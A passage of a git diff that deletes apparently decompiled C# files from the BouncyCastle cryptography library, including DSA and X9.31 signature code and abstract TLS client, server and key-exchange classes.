v.GetEncoded(); - digest.BlockUpdate(encoded, 0, encoded.Length); - } - - protected virtual BigInteger CalculateE(byte[] message) - { - return new BigInteger(1, message); - } - - protected virtual ECMultiplier CreateBasePointMultiplier() - { - return new FixedPointCombMultiplier(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/StandardDsaEncoding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/StandardDsaEncoding.cs deleted file mode 100644 index df4b6a2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/StandardDsaEncoding.cs +++ /dev/null @@ -1,51 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class StandardDsaEncoding : IDsaEncoding -{ - public static readonly StandardDsaEncoding Instance = new StandardDsaEncoding(); - - public virtual BigInteger[] Decode(BigInteger n, byte[] encoding) - { - Asn1Sequence asn1Sequence = (Asn1Sequence)Asn1Object.FromByteArray(encoding); - if (asn1Sequence.Count == 2) - { - BigInteger bigInteger = DecodeValue(n, asn1Sequence, 0); - BigInteger bigInteger2 = DecodeValue(n, asn1Sequence, 1); - byte[] a = Encode(n, bigInteger, bigInteger2); - if (Arrays.AreEqual(a, encoding)) - { - return new BigInteger[2] { bigInteger, bigInteger2 }; - } - } - throw new ArgumentException("Malformed signature", "encoding"); - } - - public virtual byte[] Encode(BigInteger n, BigInteger r, BigInteger s) - { - return new DerSequence(EncodeValue(n, r), EncodeValue(n, s)).GetEncoded("DER"); - } - - protected virtual BigInteger CheckValue(BigInteger n, BigInteger x) - { - if (x.SignValue < 0 || (n != null && x.CompareTo(n) >= 0)) - { - throw new ArgumentException("Value out of range", "x"); - } - return x; - } - - protected virtual BigInteger DecodeValue(BigInteger n, Asn1Sequence s, int pos) - { - return CheckValue(n, ((DerInteger)s[pos]).Value); - } - - protected virtual DerInteger EncodeValue(BigInteger n, BigInteger x) - { - return new DerInteger(CheckValue(n, x)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/X931Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/X931Signer.cs deleted file mode 100644 index 428ae4e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/X931Signer.cs +++ /dev/null @@ -1,168 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class X931Signer : ISigner -{ - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_IMPLICIT = 188; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_RIPEMD160 = 12748; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_RIPEMD128 = 13004; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_SHA1 = 13260; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_SHA256 = 13516; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_SHA512 = 13772; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_SHA384 = 14028; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_WHIRLPOOL = 14284; - - [Obsolete("Use 'IsoTrailers' instead")] - public const int TRAILER_SHA224 = 14540; - - private IDigest digest; - - private IAsymmetricBlockCipher cipher; - - private RsaKeyParameters kParam; - - private int trailer; - - private int keyBits; - - private byte[] block; - - public virtual string AlgorithmName => digest.AlgorithmName + "with" + cipher.AlgorithmName + "/X9.31"; - - public X931Signer(IAsymmetricBlockCipher cipher, IDigest digest, bool isImplicit) - { - this.cipher = cipher; - this.digest = digest; - if (isImplicit) - { - trailer = 188; - return; - } - if (IsoTrailers.NoTrailerAvailable(digest)) - { - throw new ArgumentException("no valid trailer", "digest"); - } - trailer = IsoTrailers.GetTrailer(digest); - } - - public X931Signer(IAsymmetricBlockCipher cipher, IDigest digest) - : this(cipher, digest, isImplicit: false) - { - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - kParam = (RsaKeyParameters)parameters; - cipher.Init(forSigning, kParam); - keyBits = kParam.Modulus.BitLength; - block = new byte[(keyBits + 7) / 8]; - Reset(); - } - - private void ClearBlock(byte[] block) - { - Array.Clear(block, 0, block.Length); - } - - public virtual void Update(byte b) - { - digest.Update(b); - } - - public virtual void BlockUpdate(byte[] input, int off, int len) - { - digest.BlockUpdate(input, off, len); - } - - public virtual void Reset() - { - digest.Reset(); - } - - public virtual byte[] GenerateSignature() - { - CreateSignatureBlock(); - BigInteger bigInteger = new BigInteger(1, cipher.ProcessBlock(block, 0, block.Length)); - ClearBlock(block); - bigInteger = bigInteger.Min(kParam.Modulus.Subtract(bigInteger)); - int unsignedByteLength = BigIntegers.GetUnsignedByteLength(kParam.Modulus); - return BigIntegers.AsUnsignedByteArray(unsignedByteLength, bigInteger); - } - - private void CreateSignatureBlock() - { - int digestSize = digest.GetDigestSize(); - int num; - if (trailer == 188) - { - num = block.Length - digestSize - 1; - digest.DoFinal(block, num); - block[block.Length - 1] = 188; - } - else - { - num = block.Length - digestSize - 2; - digest.DoFinal(block, num); - block[block.Length - 2] = (byte)(trailer >> 8); - block[block.Length - 1] = (byte)trailer; - } - block[0] = 107; - for (int num2 = num - 2; num2 != 0; num2--) - { - block[num2] = 187; - } - block[num - 1] = 186; - } - - public virtual bool VerifySignature(byte[] signature) - { - try - { - block = cipher.ProcessBlock(signature, 0, signature.Length); - } - catch (Exception) - { - return false; - } - BigInteger bigInteger = new BigInteger(1, block); - BigInteger n; - if ((bigInteger.IntValue & 0xF) == 12) - { - n = bigInteger; - } - else - { - bigInteger = kParam.Modulus.Subtract(bigInteger); - if ((bigInteger.IntValue & 0xF) != 12) - { - return false; - } - n = bigInteger; - } - CreateSignatureBlock(); - byte[] b = BigIntegers.AsUnsignedByteArray(block.Length, n); - bool result = Arrays.ConstantTimeAreEqual(block, b); - ClearBlock(block); - ClearBlock(b); - return result; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/SimpleBlockResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/SimpleBlockResult.cs deleted file mode 100644 index a60aa6e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/SimpleBlockResult.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -public class SimpleBlockResult : IBlockResult -{ - private readonly byte[] result; - - public int Length => result.Length; - - public SimpleBlockResult(byte[] result) - { - this.result = result; - } - - public byte[] Collect() - { - return result; - } - - public int Collect(byte[] destination, int offset) - { - Array.Copy(result, 0, destination, offset, result.Length); - return result.Length; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/StreamBlockCipher.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/StreamBlockCipher.cs deleted file mode 100644 index 01fc6a1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/StreamBlockCipher.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto; - -public class StreamBlockCipher : IStreamCipher -{ - private readonly IBlockCipher cipher; - - private readonly byte[] oneByte = new byte[1]; - - public string AlgorithmName => cipher.AlgorithmName; - - public StreamBlockCipher(IBlockCipher cipher) - { - if (cipher == null) - { - throw new ArgumentNullException("cipher"); - } - if (cipher.GetBlockSize() != 1) - { - throw new ArgumentException("block cipher block size != 1.", "cipher"); - } - this.cipher = cipher; - } - - public void Init(bool forEncryption, ICipherParameters parameters) - { - cipher.Init(forEncryption, parameters); - } - - public byte ReturnByte(byte input) - { - oneByte[0] = input; - cipher.ProcessBlock(oneByte, 0, oneByte, 0); - return oneByte[0]; - } - - public void ProcessBytes(byte[] input, int inOff, int length, byte[] output, int outOff) - { - if (outOff + length > output.Length) - { - throw new DataLengthException("output buffer too small in ProcessBytes()"); - } - for (int i = 0; i != length; i++) - { - cipher.ProcessBlock(input, inOff + i, output, outOff + i); - } - } - - public void Reset() - { - cipher.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsAgreementCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsAgreementCredentials.cs deleted file mode 100644 index dbb8cc0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsAgreementCredentials.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsAgreementCredentials : AbstractTlsCredentials, TlsAgreementCredentials, TlsCredentials -{ - public abstract byte[] GenerateAgreement(AsymmetricKeyParameter peerPublicKey); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsCipherFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsCipherFactory.cs deleted file mode 100644 index 43fbc54..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsCipherFactory.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public class AbstractTlsCipherFactory : TlsCipherFactory -{ - public virtual TlsCipher CreateCipher(TlsContext context, int encryptionAlgorithm, int macAlgorithm) - { - throw new TlsFatalAlert(80); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsClient.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsClient.cs deleted file mode 100644 index dd84455..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsClient.cs +++ /dev/null @@ -1,180 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsClient : AbstractTlsPeer, TlsClient, TlsPeer -{ - protected TlsCipherFactory mCipherFactory; - - protected TlsClientContext mContext; - - protected IList mSupportedSignatureAlgorithms; - - protected int[] mNamedCurves; - - protected byte[] mClientECPointFormats; - - protected byte[] mServerECPointFormats; - - protected int mSelectedCipherSuite; - - protected short mSelectedCompressionMethod; - - public virtual ProtocolVersion ClientHelloRecordLayerVersion => ClientVersion; - - public virtual ProtocolVersion ClientVersion => ProtocolVersion.TLSv12; - - public virtual bool IsFallback => false; - - public virtual ProtocolVersion MinimumVersion => ProtocolVersion.TLSv10; - - public AbstractTlsClient() - : this(new DefaultTlsCipherFactory()) - { - } - - public AbstractTlsClient(TlsCipherFactory cipherFactory) - { - mCipherFactory = cipherFactory; - } - - protected virtual bool AllowUnexpectedServerExtension(int extensionType, byte[] extensionData) - { - switch (extensionType) - { - case 10: - TlsEccUtilities.ReadSupportedEllipticCurvesExtension(extensionData); - return true; - case 11: - TlsEccUtilities.ReadSupportedPointFormatsExtension(extensionData); - return true; - default: - return false; - } - } - - protected virtual void CheckForUnexpectedServerExtension(IDictionary serverExtensions, int extensionType) - { - byte[] extensionData = TlsUtilities.GetExtensionData(serverExtensions, extensionType); - if (extensionData != null && !AllowUnexpectedServerExtension(extensionType, extensionData)) - { - throw new TlsFatalAlert(47); - } - } - - public virtual void Init(TlsClientContext context) - { - mContext = context; - } - - public virtual TlsSession GetSessionToResume() - { - return null; - } - - public virtual IDictionary GetClientExtensions() - { - IDictionary dictionary = null; - ProtocolVersion clientVersion = mContext.ClientVersion; - if (TlsUtilities.IsSignatureAlgorithmsExtensionAllowed(clientVersion)) - { - mSupportedSignatureAlgorithms = TlsUtilities.GetDefaultSupportedSignatureAlgorithms(); - dictionary = TlsExtensionsUtilities.EnsureExtensionsInitialised(dictionary); - TlsUtilities.AddSignatureAlgorithmsExtension(dictionary, mSupportedSignatureAlgorithms); - } - if (TlsEccUtilities.ContainsEccCipherSuites(GetCipherSuites())) - { - mNamedCurves = new int[2] { 23, 24 }; - mClientECPointFormats = new byte[3] { 0, 1, 2 }; - dictionary = TlsExtensionsUtilities.EnsureExtensionsInitialised(dictionary); - TlsEccUtilities.AddSupportedEllipticCurvesExtension(dictionary, mNamedCurves); - TlsEccUtilities.AddSupportedPointFormatsExtension(dictionary, mClientECPointFormats); - } - return dictionary; - } - - public virtual void NotifyServerVersion(ProtocolVersion serverVersion) - { - if (!MinimumVersion.IsEqualOrEarlierVersionOf(serverVersion)) - { - throw new TlsFatalAlert(70); - } - } - - public abstract int[] GetCipherSuites(); - - public virtual byte[] GetCompressionMethods() - { - return new byte[1]; - } - - public virtual void NotifySessionID(byte[] sessionID) - { - } - - public virtual void NotifySelectedCipherSuite(int selectedCipherSuite) - { - mSelectedCipherSuite = selectedCipherSuite; - } - - public virtual void NotifySelectedCompressionMethod(byte selectedCompressionMethod) - { - mSelectedCompressionMethod = selectedCompressionMethod; - } - - public virtual void ProcessServerExtensions(IDictionary serverExtensions) - { - if (serverExtensions != null) - { - CheckForUnexpectedServerExtension(serverExtensions, 13); - CheckForUnexpectedServerExtension(serverExtensions, 10); - if (TlsEccUtilities.IsEccCipherSuite(mSelectedCipherSuite)) - { - mServerECPointFormats = TlsEccUtilities.GetSupportedPointFormatsExtension(serverExtensions); - } - else - { - CheckForUnexpectedServerExtension(serverExtensions, 11); - } - CheckForUnexpectedServerExtension(serverExtensions, 21); - } - } - - public virtual void ProcessServerSupplementalData(IList serverSupplementalData) - { - if (serverSupplementalData != null) - { - throw new TlsFatalAlert(10); - } - } - - public abstract TlsKeyExchange GetKeyExchange(); - - public abstract TlsAuthentication GetAuthentication(); - - public virtual IList GetClientSupplementalData() - { - return null; - } - - public override TlsCompression GetCompression() - { - return mSelectedCompressionMethod switch - { - 0 => new TlsNullCompression(), - 1 => new TlsDeflateCompression(), - _ => throw new TlsFatalAlert(80), - }; - } - - public override TlsCipher GetCipher() - { - int encryptionAlgorithm = TlsUtilities.GetEncryptionAlgorithm(mSelectedCipherSuite); - int macAlgorithm = TlsUtilities.GetMacAlgorithm(mSelectedCipherSuite); - return mCipherFactory.CreateCipher(mContext, encryptionAlgorithm, macAlgorithm); - } - - public virtual void NotifyNewSessionTicket(NewSessionTicket newSessionTicket) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsContext.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsContext.cs deleted file mode 100644 index a078e8a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsContext.cs +++ /dev/null @@ -1,123 +0,0 @@ -using System; -using System.Threading; -using Org.BouncyCastle.Crypto.Prng; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal abstract class AbstractTlsContext : TlsContext -{ - private static long counter = Times.NanoTime(); - - private readonly IRandomGenerator mNonceRandom; - - private readonly SecureRandom mSecureRandom; - - private readonly SecurityParameters mSecurityParameters; - - private ProtocolVersion mClientVersion = null; - - private ProtocolVersion mServerVersion = null; - - private TlsSession mSession = null; - - private object mUserObject = null; - - public virtual IRandomGenerator NonceRandomGenerator => mNonceRandom; - - public virtual SecureRandom SecureRandom => mSecureRandom; - - public virtual SecurityParameters SecurityParameters => mSecurityParameters; - - public abstract bool IsServer { get; } - - public virtual ProtocolVersion ClientVersion => mClientVersion; - - public virtual ProtocolVersion ServerVersion => mServerVersion; - - public virtual TlsSession ResumableSession => mSession; - - public virtual object UserObject - { - get - { - return mUserObject; - } - set - { - mUserObject = value; - } - } - - private static long NextCounterValue() - { - return Interlocked.Increment(ref counter); - } - - internal AbstractTlsContext(SecureRandom secureRandom, SecurityParameters securityParameters) - { - IDigest digest = TlsUtilities.CreateHash(4); - byte[] array = new byte[digest.GetDigestSize()]; - secureRandom.NextBytes(array); - mNonceRandom = new DigestRandomGenerator(digest); - mNonceRandom.AddSeedMaterial(NextCounterValue()); - mNonceRandom.AddSeedMaterial(Times.NanoTime()); - mNonceRandom.AddSeedMaterial(array); - mSecureRandom = secureRandom; - mSecurityParameters = securityParameters; - } - - internal virtual void SetClientVersion(ProtocolVersion clientVersion) - { - mClientVersion = clientVersion; - } - - internal virtual void SetServerVersion(ProtocolVersion serverVersion) - { - mServerVersion = serverVersion; - } - - internal virtual void SetResumableSession(TlsSession session) - { - mSession = session; - } - - public virtual byte[] ExportKeyingMaterial(string asciiLabel, byte[] context_value, int length) - { - if (context_value != null && !TlsUtilities.IsValidUint16(context_value.Length)) - { - throw new ArgumentException("must have length less than 2^16 (or be null)", "context_value"); - } - SecurityParameters securityParameters = SecurityParameters; - if (!securityParameters.IsExtendedMasterSecret) - { - throw new InvalidOperationException("cannot export keying material without extended_master_secret"); - } - byte[] clientRandom = securityParameters.ClientRandom; - byte[] serverRandom = securityParameters.ServerRandom; - int num = clientRandom.Length + serverRandom.Length; - if (context_value != null) - { - num += 2 + context_value.Length; - } - byte[] array = new byte[num]; - int num2 = 0; - Array.Copy(clientRandom, 0, array, num2, clientRandom.Length); - num2 += clientRandom.Length; - Array.Copy(serverRandom, 0, array, num2, serverRandom.Length); - num2 += serverRandom.Length; - if (context_value != null) - { - TlsUtilities.WriteUint16(context_value.Length, array, num2); - num2 += 2; - Array.Copy(context_value, 0, array, num2, context_value.Length); - num2 += context_value.Length; - } - if (num2 != num) - { - throw new InvalidOperationException("error in calculation of seed for export"); - } - return TlsUtilities.PRF(this, securityParameters.MasterSecret, asciiLabel, array, length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsCredentials.cs deleted file mode 100644 index 947e131..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsCredentials.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsCredentials : TlsCredentials -{ - public abstract Certificate Certificate { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsEncryptionCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsEncryptionCredentials.cs deleted file mode 100644 index 21d47c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsEncryptionCredentials.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsEncryptionCredentials : AbstractTlsCredentials, TlsEncryptionCredentials, TlsCredentials -{ - public abstract byte[] DecryptPreMasterSecret(byte[] encryptedPreMasterSecret); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsKeyExchange.cs deleted file mode 100644 index 2cf2cde..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsKeyExchange.cs +++ /dev/null @@ -1,137 +0,0 @@ -using System; -using System.Collections; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsKeyExchange : TlsKeyExchange -{ - protected readonly int mKeyExchange; - - protected IList mSupportedSignatureAlgorithms; - - protected TlsContext mContext; - - public virtual bool RequiresServerKeyExchange => false; - - protected AbstractTlsKeyExchange(int keyExchange, IList supportedSignatureAlgorithms) - { - mKeyExchange = keyExchange; - mSupportedSignatureAlgorithms = supportedSignatureAlgorithms; - } - - protected virtual DigitallySigned ParseSignature(Stream input) - { - DigitallySigned digitallySigned = DigitallySigned.Parse(mContext, input); - SignatureAndHashAlgorithm algorithm = digitallySigned.Algorithm; - if (algorithm != null) - { - TlsUtilities.VerifySupportedSignatureAlgorithm(mSupportedSignatureAlgorithms, algorithm); - } - return digitallySigned; - } - - public virtual void Init(TlsContext context) - { - mContext = context; - ProtocolVersion clientVersion = context.ClientVersion; - if (TlsUtilities.IsSignatureAlgorithmsExtensionAllowed(clientVersion)) - { - if (mSupportedSignatureAlgorithms == null) - { - switch (mKeyExchange) - { - case 3: - case 7: - case 22: - mSupportedSignatureAlgorithms = TlsUtilities.GetDefaultDssSignatureAlgorithms(); - break; - case 16: - case 17: - mSupportedSignatureAlgorithms = TlsUtilities.GetDefaultECDsaSignatureAlgorithms(); - break; - case 1: - case 5: - case 9: - case 15: - case 18: - case 19: - case 23: - mSupportedSignatureAlgorithms = TlsUtilities.GetDefaultRsaSignatureAlgorithms(); - break; - default: - throw new InvalidOperationException("unsupported key exchange algorithm"); - case 13: - case 14: - case 21: - case 24: - break; - } - } - } - else if (mSupportedSignatureAlgorithms != null) - { - throw new InvalidOperationException("supported_signature_algorithms not allowed for " + clientVersion); - } - } - - public abstract void SkipServerCredentials(); - - public virtual void ProcessServerCertificate(Certificate serverCertificate) - { - if (mSupportedSignatureAlgorithms != null) - { - } - } - - public virtual void ProcessServerCredentials(TlsCredentials serverCredentials) - { - ProcessServerCertificate(serverCredentials.Certificate); - } - - public virtual byte[] GenerateServerKeyExchange() - { - if (RequiresServerKeyExchange) - { - throw new TlsFatalAlert(80); - } - return null; - } - - public virtual void SkipServerKeyExchange() - { - if (RequiresServerKeyExchange) - { - throw new TlsFatalAlert(10); - } - } - - public virtual void ProcessServerKeyExchange(Stream input) - { - if (!RequiresServerKeyExchange) - { - throw new TlsFatalAlert(10); - } - } - - public abstract void ValidateCertificateRequest(CertificateRequest certificateRequest); - - public virtual void SkipClientCredentials() - { - } - - public abstract void ProcessClientCredentials(TlsCredentials clientCredentials); - - public virtual void ProcessClientCertificate(Certificate clientCertificate) - { - } - - public abstract void GenerateClientKeyExchange(Stream output); - - public virtual void ProcessClientKeyExchange(Stream input) - { - throw new TlsFatalAlert(80); - } - - public abstract byte[] GeneratePremasterSecret(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsPeer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsPeer.cs deleted file mode 100644 index 35a8f03..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsPeer.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsPeer : TlsPeer -{ - public virtual bool RequiresExtendedMasterSecret() - { - return false; - } - - public virtual bool ShouldUseGmtUnixTime() - { - return false; - } - - public virtual void NotifySecureRenegotiation(bool secureRenegotiation) - { - if (!secureRenegotiation) - { - throw new TlsFatalAlert(40); - } - } - - public abstract TlsCompression GetCompression(); - - public abstract TlsCipher GetCipher(); - - public virtual void NotifyAlertRaised(byte alertLevel, byte alertDescription, string message, Exception cause) - { - } - - public virtual void NotifyAlertReceived(byte alertLevel, byte alertDescription) - { - } - - public virtual void NotifyHandshakeComplete() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsServer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsServer.cs deleted file mode 100644 index 7073e47..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/AbstractTlsServer.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class AbstractTlsServer : AbstractTlsPeer, TlsServer, TlsPeer -{ - protected TlsCipherFactory mCipherFactory; - - protected TlsServerContext mContext; - - protected ProtocolVersion mClientVersion; - - protected int[] mOfferedCipherSuites; - - protected byte[] mOfferedCompressionMethods; - - protected IDictionary mClientExtensions; - - protected bool mEncryptThenMacOffered; - - protected short mMaxFragmentLengthOffered; - - protected bool mTruncatedHMacOffered; - - protected IList mSupportedSignatureAlgorithms; - - protected bool mEccCipherSuitesOffered; - - protected int[] mNamedCurves; - - protected byte[] mClientECPointFormats; - - protected byte[] mServerECPointFormats; - - protected ProtocolVersion mServerVersion; - - protected int mSelectedCipherSuite; - - protected byte mSelectedCompressionMethod; - - protected IDictionary mServerExtensions; - - protected virtual bool AllowEncryptThenMac => true; - - protected virtual bool AllowTruncatedHMac => false; - - protected virtual ProtocolVersion MaximumVersion => ProtocolVersion.TLSv11; - - protected virtual ProtocolVersion MinimumVersion => ProtocolVersion.TLSv10; - - public AbstractTlsServer() - : this(new DefaultTlsCipherFactory()) - { - } - - public AbstractTlsServer(TlsCipherFactory cipherFactory) - { - mCipherFactory = cipherFactory; - } - - protected virtual IDictionary CheckServerExtensions() - { - return mServerExtensions = TlsExtensionsUtilities.EnsureExtensionsInitialised(mServerExtensions); - } - - protected abstract int[] GetCipherSuites(); - - protected byte[] GetCompressionMethods() - { - return new byte[1]; - } - - protected virtual bool SupportsClientEccCapabilities(int[] namedCurves, byte[] ecPointFormats) - { - if (namedCurves == null) - { - return TlsEccUtilities.HasAnySupportedNamedCurves(); - } - foreach (int namedCurve in namedCurves) - { - if (NamedCurve.IsValid(namedCurve) && (!NamedCurve.RefersToASpecificNamedCurve(namedCurve) || TlsEccUtilities.IsSupportedNamedCurve(namedCurve))) - { - return true; - } - } - return false; - } - - public virtual void Init(TlsServerContext context) - { - mContext = context; - } - - public virtual void NotifyClientVersion(ProtocolVersion clientVersion) - { - mClientVersion = clientVersion; - } - - public virtual void NotifyFallback(bool isFallback) - { - if (isFallback && MaximumVersion.IsLaterVersionOf(mClientVersion)) - { - throw new TlsFatalAlert(86); - } - } - - public virtual void NotifyOfferedCipherSuites(int[] offeredCipherSuites) - { - mOfferedCipherSuites = offeredCipherSuites; - mEccCipherSuitesOffered = TlsEccUtilities.ContainsEccCipherSuites(mOfferedCipherSuites); - } - - public virtual void NotifyOfferedCompressionMethods(byte[] offeredCompressionMethods) - { - mOfferedCompressionMethods = offeredCompressionMethods; - } - - public virtual void ProcessClientExtensions(IDictionary clientExtensions) - { - mClientExtensions = clientExtensions; - if (clientExtensions != null) - { - mEncryptThenMacOffered = TlsExtensionsUtilities.HasEncryptThenMacExtension(clientExtensions); - mMaxFragmentLengthOffered = TlsExtensionsUtilities.GetMaxFragmentLengthExtension(clientExtensions); - if (mMaxFragmentLengthOffered >= 0 && !MaxFragmentLength.IsValid((byte)mMaxFragmentLengthOffered)) - { - throw new TlsFatalAlert(47); - } - mTruncatedHMacOffered = TlsExtensionsUtilities.HasTruncatedHMacExtension(clientExtensions); - mSupportedSignatureAlgorithms = TlsUtilities.GetSignatureAlgorithmsExtension(clientExtensions); - if (mSupportedSignatureAlgorithms != null && !TlsUtilities.IsSignatureAlgorithmsExtensionAllowed(mClientVersion)) - { - throw new TlsFatalAlert(47); - } - mNamedCurves = TlsEccUtilities.GetSupportedEllipticCurvesExtension(clientExtensions); - mClientECPointFormats = TlsEccUtilities.GetSupportedPointFormatsExtension(clientExtensions); - } - } - - public virtual ProtocolVersion GetServerVersion() - { - if (MinimumVersion.IsEqualOrEarlierVersionOf(mClientVersion)) - { - ProtocolVersion maximumVersion = MaximumVersion; - if (mClientVersion.IsEqualOrEarlierVersionOf(maximumVersion)) - { - return mServerVersion = mClientVersion; - } - if (mClientVersion.IsLaterVersionOf(maximumVersion)) - { - return mServerVersion = maximumVersion; - } - } - throw new TlsFatalAlert(70); - } - - public virtual int GetSelectedCipherSuite() - { - IList usableSignatureAlgorithms = TlsUtilities.GetUsableSignatureAlgorithms(mSupportedSignatureAlgorithms); - bool flag = SupportsClientEccCapabilities(mNamedCurves, mClientECPointFormats); - int[] cipherSuites = GetCipherSuites(); - foreach (int num in cipherSuites) - { - if (Arrays.Contains(mOfferedCipherSuites, num) && (flag || !TlsEccUtilities.IsEccCipherSuite(num)) && TlsUtilities.IsValidCipherSuiteForVersion(num, mServerVersion) && TlsUtilities.IsValidCipherSuiteForSignatureAlgorithms(num, usableSignatureAlgorithms)) - { - return mSelectedCipherSuite = num; - } - } - throw new TlsFatalAlert(40); - } - - public virtual byte GetSelectedCompressionMethod() - { - byte[] compressionMethods = GetCompressionMethods(); - for (int i = 0; i < compressionMethods.Length; i++) - { - if (Arrays.Contains(mOfferedCompressionMethods, compressionMethods[i])) - { - return mSelectedCompressionMethod = compressionMethods[i]; - } - } - throw new TlsFatalAlert(40); - } - - public virtual IDictionary GetServerExtensions() - { - if (mEncryptThenMacOffered && AllowEncryptThenMac && TlsUtilities.IsBlockCipherSuite(mSelectedCipherSuite)) - { - TlsExtensionsUtilities.AddEncryptThenMacExtension(CheckServerExtensions()); - } - if (mMaxFragmentLengthOffered >= 0 && TlsUtilities.IsValidUint8(mMaxFragmentLengthOffered) && MaxFragmentLength.IsValid((byte)mMaxFragmentLengthOffered)) - { - TlsExtensionsUtilities.AddMaxFragmentLengthExtension(CheckServerExtensions(), (byte)mMaxFragmentLengthOffered); - } - if (mTruncatedHMacOffered && AllowTruncatedHMac) - { - TlsExtensionsUtilities.AddTruncatedHMacExtension(CheckServerExtensions()); - } - if (mClientECPointFormats != null && 